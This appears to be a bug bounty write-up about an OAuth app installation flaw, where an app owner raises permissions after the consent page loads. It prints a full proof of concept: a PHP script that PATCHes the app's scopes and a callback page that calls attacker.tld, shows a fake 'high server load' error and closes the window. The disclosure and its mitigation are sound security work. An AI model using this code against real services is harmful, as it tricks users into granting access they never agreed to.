TLDR

The application didn’t properly correlate the permissions initially displayed on the UI and the updated permissions. Thus, maxing the OAuth application’s permissions was possible by modifying them after the visit if the victim went through the normal OAuth app installation flow.

Introduction

Hi everyone! I hope you are all doing well :) Lately, I stumbled upon a peculiar implementation of OAuth app installation in one of the bug bounty programs, which allowed me to identify a vulnerability with privilege escalation impact. As typical for “bugs showcase” blog post types, this one will be short since not much explanation is required for the reader to understand the discovered omission.

Privilege escalation using improper preservation of permissions

The process of the OAuth app installation goes like the following:

  1. The user goes through the URL https://website.tld/oauth/name
  2. The permissions required by the third-party OAuth application are loaded into the vulnerable application’s UI page for acknowledging and proceeding with the installation.
  3. The user accepts displayed permissions and consents to the installation by clicking the “Install the application” button.
  4. The vulnerable application checks whether the installation was finished via the following https://website.tld/oauth/name/config endpoint.
  5. The application finishes the installation and issues the code for redirect using the following request:
POST /api/v1/oauth/name/config HTTP/1.1
Host: website.tld
Cookie: -
Content-Type: application/json; charset=utf-8

{“source”: “marketplace”}

The application uses an OAuth application installation flow based on user-specified access scope. When an OAuth app consent page is loaded, the user must select a scope to give the OAuth application access to the account, team, or specific project and is given a list of permissions the application will be granted.

However, after the page is loaded, the OAuth app owner can upgrade the app’s permissions. When the installation process is finished, the app will be installed with increased permissions than those listed initially on the page. A good exploitation way would be to monitor onclick events for the document body in the child (popup) window, but it’s impossible to track such events on a separate domain due to SOP. I came up with a different exploitation method.

When the user navigates to the callback URL for the first time, we can increase the integration’s permissions by sending a PATCH request to https://website.tld/api/v1/oauth/name in the PHP script. We should also add counters to determine the number of clicks on our callback URL. If the count value corresponds to 0, we issue the mentioned PATCH request, inform the user about an error, the necessity of clicking the “Install the application” button again, and close the window using setTimeout and window.close. Once the user clicks the button again, the integration will be installed with max permissions. This time, the installation process won’t be interrupted by window.close() because the count isn’t equal to 0.

Here’s the source code of the jt2k.php:

<?php
$url = "https://website.tld/api/api/v1/oauth/bigbug";  
$data = array(
    REDACTED);  
$content = json_encode($data);
$headers = [
    ‘Content-type: application/json’,
    ‘Accept: application/json’,
    ‘Cookie: REDACTED’
];

$curl = curl_init($url);
curl_setopt($curl, CURLOPT_HEADER, false);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_HTTPHEADER, $headers);
curl_setopt($curl, CURLOPT_CUSTOMREQUEST, 'PATCH');
curl_setopt($curl, CURLOPT_POSTFIELDS, $content);

$json_response = curl_exec($curl);

curl_close($curl);

$response = json_decode($json_response, true);

$str = 1;
$myfile = fopen('count.php', 'a');
fwrite($myfile, $str);
fclose($myfile);

?>

The content of the h2yb.html file:

<div id="y2c"></div>
<script type= “application/javascript”>
	function myfunction() {
	  var xhttp = new XMLHttpRequest();
	  xhttp.onreadystatechange = function() {
	  if (this.readyState == 4 && this.status == 200) {
	      if (Number(this.responseText) == 1){
	  document.getElementById("y2c").innerHTML = "<h1>OAuth application is successfully installed with max permissions. The bearer token exchanged for the access token is fully operational from API.</h1>”;
	  } else {
	  document.getElementById("y2c").innerHTML = "<h1>Our servers experience high loads. An error in the OAuth application installation occurred. Please click the ‘Install the application’ button again; it should work now. This window will be closed promptly.</h1><\/script><img src=\"https://attacker.tld/jt2k.php\">";
	      setTimeout('window.close()', 5000);
	  }
	  }
	  };
	  xhttp.open("GET", "https://attacker.tld/count.php", true);
	  xhttp.withCredentials = true;
	  xhttp.send();
  };
  myfunction();
</script>

The source code shows that the “callback page” reads the content of /count.php file to identify whether the user navigates through the callback uri for the first time. If the content is 1 - there’s a “success” message; else, an error will be displayed instructing a user to click on the “Install the application” button, a window will be closed in 5 seconds, and jt2k.php file executed, which will change the app’s permissions.

Mitigations

To fix this bug, the team added a mandatory scopes array that contains permissions from UI, and if they are different than the current app’s permissions, the request will fail.

Impact

Increasing permissions for the OAuth application without the user’s knowledge and consent. In addition to the mentioned exploitation scenario, attackers can track navigation to the URL of the OAuth app installation from their website. When navigation is done, the app’s permissions will be changed in 2 seconds. There’s no need to calculate the average time clicking on buttons to change the app’s permissions. After the application installation page is loaded, previous permissions will be displayed. This attack scenario reduces double click upon integration’s installation to a single click (usual installation flow), but visiting the attacker-controlled page is necessary first.